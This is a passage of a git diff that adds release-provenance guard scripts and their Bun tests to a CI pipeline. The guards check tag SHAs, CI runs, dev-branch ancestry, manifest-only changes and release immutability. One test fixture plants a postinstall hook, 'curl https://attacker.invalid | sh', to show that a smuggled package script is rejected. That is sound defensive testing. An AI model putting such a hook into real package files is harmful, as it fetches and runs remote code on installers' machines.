control_sha="${CONTROL_SHA:-}" control_ci_sha="${CONTROL_CI_SHA:-${CONTROL_SHA:-}}" + local control_manifest_only_match="${CONTROL_MANIFEST_ONLY_MATCH:-false}" + local actual_tag_sha="${ACTUAL_TAG_SHA:-}" tag_tree_match="${TAG_TREE_MATCH:-false}" + local version_parent_sha="${VERSION_PARENT_SHA:-}" version_only_match="${VERSION_ONLY_MATCH:-false}" source_ci_sha + local dev_ref_reachable="${DEV_REF_REACHABLE:-false}" + [[ "$control_sha" =~ ^[0-9a-f]{40}$ ]] || fail "control SHA '${control_sha:-}' is not a full lowercase commit SHA" + [[ "$control_ci_sha" =~ ^[0-9a-f]{40}$ ]] || + fail "CI-approved control SHA '${control_ci_sha:-}' is not a full lowercase commit SHA" + if [[ "$control_ci_sha" != "$control_sha" && "$control_manifest_only_match" != "true" ]]; then + fail "trusted main control SHA ${control_sha} is not an approved manifest-only descendant of ${control_ci_sha}" + fi + [[ "$actual_tag_sha" =~ ^[0-9a-f]{40}$ ]] || fail "resolved tag SHA '${actual_tag_sha:-}' is not a full lowercase commit SHA" + case "$CHANNEL" in + dev) + [[ "$SOURCE_BRANCH" == "dev" ]] || fail "dev releases require source_branch=dev" + [[ "$actual_tag_sha" == "$SOURCE_SHA" ]] || + fail "dev release tag v${VERSION} resolves to ${actual_tag_sha}, not CI-approved source SHA ${SOURCE_SHA}" + source_ci_sha="$(jq -r '.head_sha // empty' "$source_json")" + [[ "$version_parent_sha" == "$source_ci_sha" ]] || + fail "dev tag commit ${SOURCE_SHA} is not a direct child of CI-approved SHA ${source_ci_sha:-}" + [[ "$version_only_match" == "true" ]] || + fail "dev tag commit ${SOURCE_SHA} is not the exact deterministic version-only child" + [[ "$dev_ref_reachable" == "true" ]] || + fail "dev tag commit ${SOURCE_SHA} is not reachable from the authoritative dev branch" + EXPECTED_SOURCE_EVENT=push check_ci_run_record "$source_json" "$source_ci_sha" dev + ;; + homolog) + [[ "$SOURCE_BRANCH" == "homolog" ]] || fail "homolog releases require source_branch=homolog" + [[ "$tag_tree_match" == "true" ]] || fail "homolog source tree does not match v${VERSION}" + EXPECTED_SOURCE_EVENT=push check_ci_run_record "$source_json" "$SOURCE_SHA" homolog + ;; + stable) + [[ "$SOURCE_BRANCH" == "main" ]] || fail "stable releases require source_branch=main" + [[ "$tag_tree_match" == "true" ]] || fail "stable main tree does not match v${VERSION}" + EXPECTED_SOURCE_EVENT=push check_ci_run_record "$source_json" "$SOURCE_SHA" main + ;; + esac + [[ -f "$control_json" ]] || fail "control CI listing JSON not found: ${control_json}" + jq -e \ + --arg repo "${EXPECTED_REPO:-}" \ + --arg workflow "${EXPECTED_WORKFLOW:-.github/workflows/ci.yml}" \ + --arg sha "$control_ci_sha" \ + '.workflow_runs | any( + .repository.full_name == $repo and + .path == $workflow and + .status == "completed" and + .conclusion == "success" and + .event == "push" and + .head_branch == "main" and + .head_sha == $sha + )' "$control_json" >/dev/null || + fail "trusted main control ancestor ${control_ci_sha} has no successful CI push run" + + note "ok — trusted main control ${control_sha} (CI authority ${control_ci_sha}) will release CI-approved ${SOURCE_BRANCH}@${SOURCE_SHA} as v${VERSION} (${CHANNEL})" +} + +guard_trusted_release() { + require_release_inputs + local expected_repo="${EXPECTED_REPO:-}" + [[ -n "$expected_repo" ]] || misuse "guard-trusted-release needs EXPECTED_REPO" + command -v gh >/dev/null 2>&1 || misuse "gh CLI is required for guard-trusted-release" + command -v git >/dev/null 2>&1 || misuse "git is required for guard-trusted-release" + + local source_tmp control_tmp tag_ref tag_lines actual_tag_sha + source_tmp="$(mktemp)" + control_tmp="$(mktemp)" + trap 'rm -f "${source_tmp:-}" "${control_tmp:-}"' EXIT + + if ! gh api "repos/${expected_repo}/actions/runs/${SOURCE_CI_RUN_ID}" >"$source_tmp" 2>/dev/null; then + fail "could not fetch source CI run ${SOURCE_CI_RUN_ID} from ${expected_repo}" + fi + if ! gh api -X GET "repos/${expected_repo}/actions/workflows/ci.yml/runs" \ + -f branch=main -f event=push -f status=success -f per_page=100 >"$control_tmp" 2>/dev/null; then + fail "could not fetch successful main CI runs from ${expected_repo}" + fi + + tag_ref="refs/tags/v${VERSION}" + if ! tag_lines="$(git ls-remote --exit-code origin "$tag_ref" "${tag_ref}^{}" 2>/dev/null)"; then + fail "release tag ${tag_ref} does not exist on origin" + fi + actual_tag_sha="$(printf '%s\n' "$tag_lines" | awk '$2 ~ /\^\{\}$/ { print $1; found=1 } END { if (!found) exit 1 }' 2>/dev/null || true)" + if [[ -z "$actual_tag_sha" ]]; then + actual_tag_sha="$(printf '%s\n' "$tag_lines" | awk -v ref="$tag_ref" '$2 == ref { print $1; exit }')" + fi + local tag_tree_match=false version_parent_sha="" version_only_match=false dev_ref_reachable=false + if [[ "$CHANNEL" == "dev" ]]; then + git cat-file -e "${SOURCE_SHA}^{commit}" 2>/dev/null || git fetch --no-tags origin "$SOURCE_SHA" --quiet + if ! git fetch --no-tags origin '+refs/heads/dev:refs/remotes/origin/dev' --quiet; then + fail "could not refresh authoritative origin/dev before release" + fi + check_dev_reachability "$SOURCE_SHA" refs/remotes/origin/dev + dev_ref_reachable=true + version_parent_sha="$(git rev-list --parents -n1 "$SOURCE_SHA" 2>/dev/null | awk 'NF == 2 { print $2 }')" + if [[ -n "$version_parent_sha" ]] && version_child_matches_parent "$version_parent_sha" "$SOURCE_SHA" "$VERSION"; then + version_only_match=true + fi + else + git cat-file -e "${SOURCE_SHA}^{commit}" 2>/dev/null || git fetch --no-tags origin "$SOURCE_SHA" --quiet + git cat-file -e "${actual_tag_sha}^{commit}" 2>/dev/null || git fetch --no-tags origin "$actual_tag_sha" --quiet + if trees_match_except_channel_manifests "$actual_tag_sha" "$SOURCE_SHA"; then + tag_tree_match=true + fi + fi + local control_ci_sha="" control_manifest_only_match=false candidate + while IFS= read -r candidate; do + [[ "$candidate" =~ ^[0-9a-f]{40}$ ]] || continue + git cat-file -e "${candidate}^{commit}" 2>/dev/null || git fetch --no-tags origin "$candidate" --quiet || continue + if [[ "$candidate" == "${CONTROL_SHA}" ]]; then + control_ci_sha="$candidate" + control_manifest_only_match=true + break + fi + if control_descends_only_by_manifests "$candidate" "${CONTROL_SHA}"; then + control_ci_sha="$candidate" + control_manifest_only_match=true + break + fi + done < <(jq -r '.workflow_runs[]?.head_sha // empty' "$control_tmp") + + ACTUAL_TAG_SHA="$actual_tag_sha" \ + TAG_TREE_MATCH="$tag_tree_match" \ + VERSION_PARENT_SHA="$version_parent_sha" \ + VERSION_ONLY_MATCH="$version_only_match" \ + DEV_REF_REACHABLE="$dev_ref_reachable" \ + CONTROL_CI_SHA="$control_ci_sha" \ + CONTROL_MANIFEST_ONLY_MATCH="$control_manifest_only_match" \ + check_trusted_release "$source_tmp" "$control_tmp" + + rm -f "$source_tmp" "$control_tmp" + trap - EXIT +} + # Guard a stable-capable `workflow_dispatch` entry point. Fails closed unless the # dispatch targets a protected `refs/tags/v` tag; when a version input # is supplied it must match the release grammar AND the dispatched tag. @@ -47,10 +408,10 @@ require_dispatch_tag() { note "event=${event:-} is not a manual dispatch; no tag guard applied" return 0 fi - [[ "$ref" =~ $TAG_REF_RE ]] || + valid_release_tag_ref "$ref" || fail "refusing stable-capable dispatch on non-tag ref '${ref:-}' (channel='${channel:-}'); dispatch recovery must target a protected v tag that passed required CI" if [[ -n "$version" ]]; then - [[ "$version" =~ $VERSION_RE ]] || fail "version input '${version}' fails the release version grammar" + valid_release_version "$version" || fail "version input '${version}' fails the release version grammar" local tag_version tag_version="$(version_from_tag_ref "$ref")" [[ "$version" == "$tag_version" ]] || @@ -73,7 +434,7 @@ check_run_provenance() { local expected_ref="${EXPECTED_REF:-}" expected_sha="${EXPECTED_SHA:-}" expected_version="${EXPECTED_VERSION:-}" [[ -n "$expected_repo" && -n "$expected_workflow" && -n "$expected_ref" ]] || misuse "check-run-provenance needs EXPECTED_REPO, EXPECTED_WORKFLOW, EXPECTED_REF" - [[ "$expected_ref" =~ $TAG_REF_RE ]] || + valid_release_tag_ref "$expected_ref" || fail "EXPECTED_REF '${expected_ref}' is not a protected v tag" local repo path conclusion status head_branch head_sha @@ -104,7 +465,7 @@ check_run_provenance() { fi if [[ -n "$expected_version" ]]; then - [[ "$expected_version" =~ $VERSION_RE ]] || + valid_release_version "$expected_version" || fail "expected version '${expected_version}' fails the release version grammar" local tag_version tag_version="$(version_from_tag_ref "$expected_ref")" @@ -138,6 +499,8 @@ guard_run_provenance() { fail "could not fetch upstream run ${run_id} from ${expected_repo} (bad run_id or insufficient token scope)" fi check_run_provenance "$tmp" + rm -f "$tmp" + trap - EXIT } main() { @@ -147,7 +510,13 @@ main() { require-dispatch-tag) require_dispatch_tag ;; check-run-provenance) check_run_provenance "$@" ;; guard-run-provenance) guard_run_provenance ;; - *) misuse "unknown subcommand '${cmd:-}' (want: require-dispatch-tag | check-run-provenance | guard-run-provenance)" ;; + check-trusted-release) check_trusted_release "$@" ;; + check-version-child) check_version_child "$@" ;; + check-dev-reachability) check_dev_reachability "$@" ;; + check-control-descendant) check_control_descendant "$@" ;; + check-manifest-equivalent-trees) check_manifest_equivalent_trees "$@" ;; + guard-trusted-release) guard_trusted_release ;; + *) misuse "unknown subcommand '${cmd:-}'" ;; esac } diff --git a/scripts/release-guard.test.ts b/scripts/release-guard.test.ts index a96e054af..539f70d87 100644 --- a/scripts/release-guard.test.ts +++ b/scripts/release-guard.test.ts @@ -1,5 +1,5 @@ import { afterEach, describe, expect, test } from 'bun:test'; -import { chmodSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'; +import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; @@ -22,9 +22,9 @@ function mkroot(prefix: string): string { return root; } -function guard(subcommand: string, env: Record, args: string[] = []) { +function guard(subcommand: string, env: Record, args: string[] = [], cwd = REPO_ROOT) { return Bun.spawnSync(['bash', SCRIPT, subcommand, ...args], { - cwd: REPO_ROOT, + cwd, env: { PATH: process.env.PATH ?? '', ...env }, stdout: 'pipe', stderr: 'pipe', @@ -115,6 +115,36 @@ describe('require-dispatch-tag (F16 ref guard)', () => { }); expect(result.exitCode).toBe(3); }); + + test('suffix-bearing versions fail before release assets or manifests can diverge', () => { + const result = guard('require-dispatch-tag', { + EVENT: 'workflow_dispatch', + REF: 'refs/tags/v5.260714.1-rc.1', + VERSION: '5.260714.1-rc.1', + CHANNEL: 'dev', + }); + expect(result.exitCode).toBe(3); + }); + + test('generic semver, impossible dates, zero counters, and oversized counters are rejected', () => { + for (const version of ['6.260714.1', '5.261332.1', '5.260229.1', '5.260714.0', '5.260714.10000']) { + const result = guard('require-dispatch-tag', { + EVENT: 'workflow_dispatch', + REF: `refs/tags/v${version}`, + VERSION: version, + CHANNEL: 'dev', + }); + expect(result.exitCode, version).toBe(3); + } + expect( + guard('require-dispatch-tag', { + EVENT: 'workflow_dispatch', + REF: 'refs/tags/v5.240229.1', + VERSION: '5.240229.1', + CHANNEL: 'dev', + }).exitCode, + ).toBe(0); + }); }); describe('check-run-provenance (F17 upstream identity)', () => { @@ -216,3 +246,347 @@ describe('guard-run-provenance (orchestrated vs break-glass)', () => { expect(result.exitCode).toBe(0); }); }); + +function git(root: string, ...args: string[]): string { + const result = Bun.spawnSync(['git', ...args], { cwd: root, stdout: 'pipe', stderr: 'pipe' }); + if (result.exitCode !== 0) throw new Error(`git ${args.join(' ')} failed: ${result.stderr.toString()}`); + return result.stdout.toString().trim(); +} + +function writeVersionTree(root: string, version: string, packageScript?: string): void { + const jsonFiles: Array<[string, Record]> = [ + [ + 'package.json', + { name: '@automagik/genie', version, ...(packageScript ? { scripts: { postinstall: packageScript } } : {}) }, + ], + ['plugins/genie/.claude-plugin/plugin.json', { name: 'genie', version }], + ['plugins/genie/.codex-plugin/plugin.json', { name: 'genie', version }], + ['plugins/genie/package.json', { name: 'genie-plugin', version }], + ]; + for (const [path, value] of jsonFiles) { + mkdirSync(join(root, path, '..'), { recursive: true }); + writeFileSync(join(root, path), `${JSON.stringify(value, null, 2)}\n`); + } + const marketplace = join(root, '.claude-plugin', 'marketplace.json'); + mkdirSync(join(marketplace, '..'), { recursive: true }); + writeFileSync(marketplace, `${JSON.stringify({ plugins: [{ name: 'genie', version }] }, null, 2)}\n`); + const hermes = join(root, 'plugins', 'hermes-genie', 'plugin.yaml'); + mkdirSync(join(hermes, '..'), { recursive: true }); + writeFileSync(hermes, `name: genie\nversion: ${version}\ndescription: fixture\n`); +} + +function versionRepo(packageScript?: string) { + const root = mkroot('genie-version-child-'); + git(root, 'init', '-q'); + git(root, 'config', 'user.name', 'fixture'); + git(root, 'config', 'user.email', 'fixture@example.invalid'); + writeVersionTree(root, '5.260714.1'); + git(root, 'add', '.'); + git(root, 'commit', '-qm', 'parent'); + const parent = git(root, 'rev-parse', 'HEAD'); + writeVersionTree(root, '5.260714.2', packageScript); + git(root, 'add', '.'); + git(root, 'commit', '-qm', 'chore(version): bump to 5.260714.2 [auto-version]'); + return { root, parent, child: git(root, 'rev-parse', 'HEAD') }; +} + +describe('check-version-child (parent CI inheritance)', () => { + test('accepts the exact deterministic six-field auto-version child', () => { + const fixture = versionRepo(); + const result = guard('check-version-child', {}, [fixture.parent, fixture.child, '5.260714.2'], fixture.root); + expect(result.exitCode).toBe(0); + }); + + test('rejects a package script smuggled inside an otherwise allowlisted version file', () => { + const fixture = versionRepo('curl https://attacker.invalid | sh'); + const result = guard('check-version-child', {}, [fixture.parent, fixture.child, '5.260714.2'], fixture.root); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('not the deterministic version-only child'); + }); +}); + +describe('check-dev-reachability (authoritative dev ancestry)', () => { + test('accepts the near-tip source in the repository long history without a pipefail false deny', () => { + const head = git(REPO_ROOT, 'rev-parse', 'HEAD'); + expect(guard('check-dev-reachability', {}, [head, 'HEAD'], REPO_ROOT).exitCode).toBe(0); + }); + + test('rejects a deterministic tag-only child forked from an old dev parent', () => { + const fixture = versionRepo(); + git(fixture.root, 'checkout', '-qb', 'dev', fixture.parent); + writeFileSync(join(fixture.root, 'README.md'), 'new authoritative dev work\n'); + git(fixture.root, 'add', 'README.md'); + git(fixture.root, 'commit', '-qm', 'advance dev without fabricated child'); + + const rejected = guard('check-dev-reachability', {}, [fixture.child, 'refs/heads/dev'], fixture.root); + expect(rejected.exitCode).toBe(3); + expect(rejected.stderr.toString()).toContain('not on the authoritative'); + + git(fixture.root, 'checkout', '--detach', '-q'); + git(fixture.root, 'branch', '-f', 'dev', fixture.child); + git(fixture.root, 'checkout', '-q', 'dev'); + writeFileSync(join(fixture.root, 'README.md'), 'queued later dev work\n'); + git(fixture.root, 'add', 'README.md'); + git(fixture.root, 'commit', '-qm', 'later queued dev commit'); + expect(guard('check-dev-reachability', {}, [fixture.child, 'refs/heads/dev'], fixture.root).exitCode).toBe(0); + }); + + test('rejects a source reachable only through a merge second parent', () => { + const fixture = versionRepo(); + git(fixture.root, 'checkout', '-qb', 'dev', fixture.parent); + writeFileSync(join(fixture.root, 'README.md'), 'first-parent dev work\n'); + git(fixture.root, 'add', 'README.md'); + git(fixture.root, 'commit', '-qm', 'advance authoritative dev'); + git(fixture.root, 'merge', '--no-ff', '-qm', 'merge side version child', fixture.child); + + const result = guard('check-dev-reachability', {}, [fixture.child, 'refs/heads/dev'], fixture.root); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('first-parent chain'); + }); +}); + +function controlRepo() { + const root = mkroot('genie-control-descendant-'); + git(root, 'init', '-q'); + git(root, 'config', 'user.name', 'fixture'); + git(root, 'config', 'user.email', 'fixture@example.invalid'); + mkdirSync(join(root, '.github', 'workflows'), { recursive: true }); + writeFileSync(join(root, '.github', 'workflows', 'release.yml'), 'name: trusted release\n'); + writeFileSync(join(root, 'package.json'), '{"name":"fixture"}\n'); + git(root, 'add', '.'); + git(root, 'commit', '-qm', 'ci-approved control'); + const approved = git(root, 'rev-parse', 'HEAD'); + + mkdirSync(join(root, '.well-known'), { recursive: true }); + writeFileSync(join(root, '.well-known', 'dev.json'), '{"version":"5.260714.2"}\n'); + git(root, 'add', '.well-known/dev.json'); + git(root, 'commit', '-qm', 'chore(release): update dev manifest'); + return { root, approved, manifest: git(root, 'rev-parse', 'HEAD') }; +} + +describe('check-control-descendant (manifest-only main continuity)', () => { + test('accepts a real manifest-only descendant of a CI-approved control commit', () => { + const fixture = controlRepo(); + const result = guard('check-control-descendant', {}, [fixture.approved, fixture.manifest], fixture.root); + expect(result.exitCode).toBe(0); + }); + + test('rejects a descendant that changes workflow control outside the generated manifests', () => { + const fixture = controlRepo(); + writeFileSync(join(fixture.root, '.github', 'workflows', 'release.yml'), 'name: attacker control\n'); + git(fixture.root, 'add', '.github/workflows/release.yml'); + git(fixture.root, 'commit', '-qm', 'change release control'); + const drifted = git(fixture.root, 'rev-parse', 'HEAD'); + const result = guard('check-control-descendant', {}, [fixture.approved, drifted], fixture.root); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('not a manifest-only descendant'); + }); + + test('rejects unapproved files under .well-known and non-ancestors', () => { + const fixture = controlRepo(); + writeFileSync(join(fixture.root, '.well-known', 'security.txt'), 'unreviewed identity\n'); + git(fixture.root, 'add', '.well-known/security.txt'); + git(fixture.root, 'commit', '-qm', 'change protected witness'); + const unapproved = git(fixture.root, 'rev-parse', 'HEAD'); + expect(guard('check-control-descendant', {}, [fixture.approved, unapproved], fixture.root).exitCode).toBe(3); + expect(guard('check-control-descendant', {}, [unapproved, fixture.approved], fixture.root).exitCode).toBe(3); + }); +}); + +describe('check-manifest-equivalent-trees (promotion and tag equivalence)', () => { + test('allows generated manifests but rejects unrelated .well-known trust drift', () => { + const fixture = controlRepo(); + expect( + guard('check-manifest-equivalent-trees', {}, [fixture.approved, fixture.manifest], fixture.root).exitCode, + ).toBe(0); + + writeFileSync(join(fixture.root, '.well-known', 'security.txt'), 'changed trust witness\n'); + git(fixture.root, 'add', '.well-known/security.txt'); + git(fixture.root, 'commit', '-qm', 'change trust witness'); + const drifted = git(fixture.root, 'rev-parse', 'HEAD'); + const result = guard('check-manifest-equivalent-trees', {}, [fixture.approved, drifted], fixture.root); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('outside the three generated channel manifests'); + }); +}); + +const TRUSTED_CONTROL_SHA = 'c'.repeat(40); +const TRUSTED_PARENT_SHA = 'a'.repeat(40); +const TRUSTED_SOURCE_SHA = 'b'.repeat(40); + +function trustedRunFile(root: string, overrides: Record = {}, name = 'trusted-run.json'): string { + const path = join(root, name); + writeFileSync( + path, + JSON.stringify({ + repository: { full_name: 'automagik-dev/genie' }, + path: '.github/workflows/ci.yml', + status: 'completed', + conclusion: 'success', + event: 'push', + head_branch: 'dev', + head_sha: TRUSTED_PARENT_SHA, + ...overrides, + }), + ); + return path; +} + +function controlRunsFile(root: string, include = true): string { + const path = join(root, 'control-runs.json'); + writeFileSync( + path, + JSON.stringify({ + workflow_runs: include + ? [ + { + repository: { full_name: 'automagik-dev/genie' }, + path: '.github/workflows/ci.yml', + status: 'completed', + conclusion: 'success', + event: 'push', + head_branch: 'main', + head_sha: TRUSTED_CONTROL_SHA, + }, + ] + : [], + }), + ); + return path; +} + +const TRUSTED_ENV = { + EVENT: 'workflow_run', + CONTROL_REF: 'refs/heads/main', + CONTROL_SHA: TRUSTED_CONTROL_SHA, + CALLER_WORKFLOW_REF: 'automagik-dev/genie/.github/workflows/version.yml@refs/heads/main', + CALLER_WORKFLOW_SHA: TRUSTED_CONTROL_SHA, + DISPATCH_ACTOR: 'release-maintainer-a', + TRIGGERING_ACTOR: 'release-maintainer-a', + RUN_ATTEMPT: '1', + VERSION: '5.260714.2', + CHANNEL: 'dev', + SOURCE_SHA: TRUSTED_SOURCE_SHA, + SOURCE_BRANCH: 'dev', + SOURCE_CI_RUN_ID: '123456', + EXPECTED_REPO: 'automagik-dev/genie', + EXPECTED_WORKFLOW: '.github/workflows/ci.yml', + ACTUAL_TAG_SHA: TRUSTED_SOURCE_SHA, + VERSION_PARENT_SHA: TRUSTED_PARENT_SHA, + VERSION_ONLY_MATCH: 'true', + DEV_REF_REACHABLE: 'true', +}; + +const STABLE_TRUSTED_ENV = { + ...TRUSTED_ENV, + EVENT: 'workflow_dispatch', + CALLER_WORKFLOW_REF: 'automagik-dev/genie/.github/workflows/release.yml@refs/heads/main', + CHANNEL: 'stable', + SOURCE_BRANCH: 'main', + TAG_TREE_MATCH: 'true', +}; + +describe('check-trusted-release (main control + source provenance)', () => { + test('accepts a main-controlled dev release whose tag is a deterministic child of successful parent CI', () => { + const root = mkroot('genie-trusted-dev-'); + const result = guard('check-trusted-release', TRUSTED_ENV, [trustedRunFile(root), controlRunsFile(root)]); + expect(result.exitCode).toBe(0); + }); + + test('accepts a control head only through an explicitly proven manifest-only CI ancestor', () => { + const root = mkroot('genie-trusted-manifest-control-'); + const manifestHead = 'd'.repeat(40); + const result = guard( + 'check-trusted-release', + { + ...TRUSTED_ENV, + CONTROL_SHA: manifestHead, + CALLER_WORKFLOW_SHA: manifestHead, + CONTROL_CI_SHA: TRUSTED_CONTROL_SHA, + CONTROL_MANIFEST_ONLY_MATCH: 'true', + }, + [trustedRunFile(root), controlRunsFile(root)], + ); + expect(result.exitCode).toBe(0); + + const unproven = guard( + 'check-trusted-release', + { + ...TRUSTED_ENV, + CONTROL_SHA: manifestHead, + CALLER_WORKFLOW_SHA: manifestHead, + CONTROL_CI_SHA: TRUSTED_CONTROL_SHA, + CONTROL_MANIFEST_ONLY_MATCH: 'false', + }, + [trustedRunFile(root), controlRunsFile(root)], + ); + expect(unproven.exitCode).toBe(3); + }); + + test('accepts stable only from successful main push CI with an equivalent tag tree', () => { + const root = mkroot('genie-trusted-stable-'); + const source = trustedRunFile(root, { + head_branch: 'main', + head_sha: TRUSTED_SOURCE_SHA, + }); + const result = guard('check-trusted-release', STABLE_TRUSTED_ENV, [source, controlRunsFile(root)]); + expect(result.exitCode).toBe(0); + }); + + test('stable requires a fresh human dispatch so environment approval excludes its initiator', () => { + const root = mkroot('genie-trusted-stable-actor-'); + const source = trustedRunFile(root, { + head_branch: 'main', + head_sha: TRUSTED_SOURCE_SHA, + }); + const args = [source, controlRunsFile(root)]; + const stable = STABLE_TRUSTED_ENV; + + for (const env of [ + { ...stable, DISPATCH_ACTOR: 'github-actions[bot]', TRIGGERING_ACTOR: 'github-actions[bot]' }, + { ...stable, DISPATCH_ACTOR: 'release-maintainer-a', TRIGGERING_ACTOR: 'release-maintainer-b' }, + { ...stable, RUN_ATTEMPT: '2' }, + { ...stable, DISPATCH_ACTOR: '', TRIGGERING_ACTOR: '' }, + ]) { + expect(guard('check-trusted-release', env, args).exitCode).toBe(3); + } + }); + + test('rejects non-main control, tag mismatch, and a non-deterministic version child', () => { + const root = mkroot('genie-trusted-reject-'); + const args = [trustedRunFile(root), controlRunsFile(root)]; + for (const env of [ + { ...TRUSTED_ENV, CONTROL_REF: 'refs/tags/v5.260714.2' }, + { ...TRUSTED_ENV, ACTUAL_TAG_SHA: 'd'.repeat(40) }, + { ...TRUSTED_ENV, VERSION_ONLY_MATCH: 'false' }, + { ...TRUSTED_ENV, EVENT: 'workflow_dispatch' }, + { + ...TRUSTED_ENV, + CALLER_WORKFLOW_REF: 'automagik-dev/genie/.github/workflows/attacker.yml@refs/heads/main', + }, + ]) { + expect(guard('check-trusted-release', env, args).exitCode).toBe(3); + } + }); + + test('rejects failed source CI, stable tree drift, and missing successful control CI', () => { + const root = mkroot('genie-trusted-fail-'); + const failedSource = trustedRunFile(root, { conclusion: 'failure' }, 'failed-source.json'); + expect(guard('check-trusted-release', TRUSTED_ENV, [failedSource, controlRunsFile(root)]).exitCode).toBe(3); + + const stableSource = trustedRunFile( + root, + { head_branch: 'main', head_sha: TRUSTED_SOURCE_SHA }, + 'stable-source.json', + ); + expect( + guard('check-trusted-release', { ...STABLE_TRUSTED_ENV, TAG_TREE_MATCH: 'false' }, [ + stableSource, + controlRunsFile(root), + ]).exitCode, + ).toBe(3); + expect( + guard('check-trusted-release', TRUSTED_ENV, [trustedRunFile(root), controlRunsFile(root, false)]).exitCode, + ).toBe(3); + }); +}); diff --git a/scripts/release-immutability.sh b/scripts/release-immutability.sh new file mode 100644 index 000000000..3ed25d7ef --- /dev/null +++ b/scripts/release-immutability.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash + +set -euo pipefail + +RELEASE_REPOSITORY="${RELEASE_REPOSITORY:-${GITHUB_REPOSITORY:-}}" +: "${RELEASE_REPOSITORY:?RELEASE_REPOSITORY or GITHUB_REPOSITORY is required}" +[[ "$RELEASE_REPOSITORY" =~ ^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+$ ]] || { + echo "invalid release repository: ${RELEASE_REPOSITORY}" >&2 + exit 2 +} + +case "${1:-}" in + release) + : "${VERSION:?VERSION is required for release verification}" + [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]] || { + echo "invalid immutable release version: ${VERSION}" >&2 + exit 2 + } + response="$(gh api "repos/${RELEASE_REPOSITORY}/releases/tags/v${VERSION}")" + jq -e '.immutable == true' <<<"$response" >/dev/null || { + echo "published release v${VERSION} is not immutable; refusing to advance channel manifests" >&2 + exit 3 + } + ;; + *) echo 'usage: release-immutability.sh release' >&2; exit 64 ;; +esac diff --git a/scripts/release-immutability.test.ts b/scripts/release-immutability.test.ts new file mode 100644 index 000000000..18ccf5040 --- /dev/null +++ b/scripts/release-immutability.test.ts @@ -0,0 +1,60 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { chmodSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +const SCRIPT = join(import.meta.dir, 'release-immutability.sh'); +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +function run(mode: string, state: { immutable?: unknown; fail?: boolean }) { + const root = mkdtempSync(join(tmpdir(), 'genie-release-immutability-')); + roots.push(root); + const statePath = join(root, 'state.json'); + writeFileSync(statePath, JSON.stringify(state)); + const gh = join(root, 'gh'); + writeFileSync( + gh, + `#!/usr/bin/env bun +import { readFileSync } from 'node:fs'; +const state = JSON.parse(readFileSync(process.env.GH_FAKE_STATE, 'utf8')); +if (state.fail) process.exit(42); +console.log(JSON.stringify({ immutable: state.immutable })); +`, + ); + chmodSync(gh, 0o755); + const result = Bun.spawnSync(['bash', SCRIPT, mode], { + env: { + ...process.env, + PATH: `${root}:${process.env.PATH ?? ''}`, + GH_FAKE_STATE: statePath, + RELEASE_REPOSITORY: 'automagik-dev/genie', + VERSION: '5.260714.3', + }, + stdout: 'pipe', + stderr: 'pipe', + }); + return result; +} + +describe('immutable release publication gate', () => { + test('requires the exact published release object to be immutable before manifests', () => { + expect(run('release', { immutable: true }).exitCode).toBe(0); + const mutable = run('release', { immutable: false }); + expect(mutable.exitCode).toBe(3); + expect(mutable.stderr.toString()).toContain('refusing to advance channel manifests'); + }); + + test('propagates GitHub API failures', () => { + expect(run('release', { fail: true }).exitCode).toBe(42); + }); + + test('does not assume GITHUB_TOKEN can read repository Administration settings', () => { + expect(readFileSync(SCRIPT, 'utf8')).not.toContain('/immutable-releases'); + const unsupported = run('repository', { immutable: true }); + expect(unsupported.exitCode).toBe(64); + }); +}); diff --git a/scripts/release-native-predicate.sh b/scripts/release-native-predicate.sh new file mode 100644 index 000000000..3aea8cc23 --- /dev/null +++ b/scripts/release-native-predicate.sh @@ -0,0 +1,154 @@ +#!/usr/bin/env bash + +set -euo pipefail + +PREDICATE_TYPE='https://slsa.dev/provenance/v1' +: "${RELEASE_REPOSITORY:?RELEASE_REPOSITORY is required}" +: "${VERSION:?VERSION is required}" + +[[ "$RELEASE_REPOSITORY" =~ ^[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+$ ]] || exit 2 +[[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]] || exit 2 + +BUILDER_ID="https://github.com/${RELEASE_REPOSITORY}/.github/workflows/sign-attest.yml@refs/heads/main" +BUILD_TYPE="https://github.com/${RELEASE_REPOSITORY}/release-tarballs@v1" + +require_exact_identity() { + : "${CHANNEL:?CHANNEL is required}" + : "${SOURCE_SHA:?SOURCE_SHA is required}" + : "${SOURCE_BRANCH:?SOURCE_BRANCH is required}" + : "${SOURCE_CI_RUN_ID:?SOURCE_CI_RUN_ID is required}" + : "${CONTROL_SHA:?CONTROL_SHA is required}" + : "${RUN_ID:?RUN_ID is required}" + : "${RUN_ATTEMPT:?RUN_ATTEMPT is required}" + [[ "$SOURCE_SHA" =~ ^[0-9a-f]{40}$ && "$CONTROL_SHA" =~ ^[0-9a-f]{40}$ ]] || exit 2 + [[ "$SOURCE_CI_RUN_ID" =~ ^[0-9]+$ && "$RUN_ID" =~ ^[0-9]+$ && "$RUN_ATTEMPT" =~ ^[0-9]+$ ]] || exit 2 + case "$CHANNEL" in stable|homolog|dev) ;; *) exit 2 ;; esac + case "$SOURCE_BRANCH" in main|homolog|dev) ;; *) exit 2 ;; esac + SOURCE_URI="git+https://github.com/${RELEASE_REPOSITORY}@refs/heads/${SOURCE_BRANCH}" + CONTROL_URI="git+https://github.com/${RELEASE_REPOSITORY}@refs/heads/main" +} + +create_predicate() { + local output="${1:-}" + [[ -n "$output" ]] || exit 64 + jq -n \ + --arg builder_id "$BUILDER_ID" \ + --arg build_type "$BUILD_TYPE" \ + --arg version "$VERSION" \ + --arg channel "$CHANNEL" \ + --arg source_sha "$SOURCE_SHA" \ + --arg source_branch 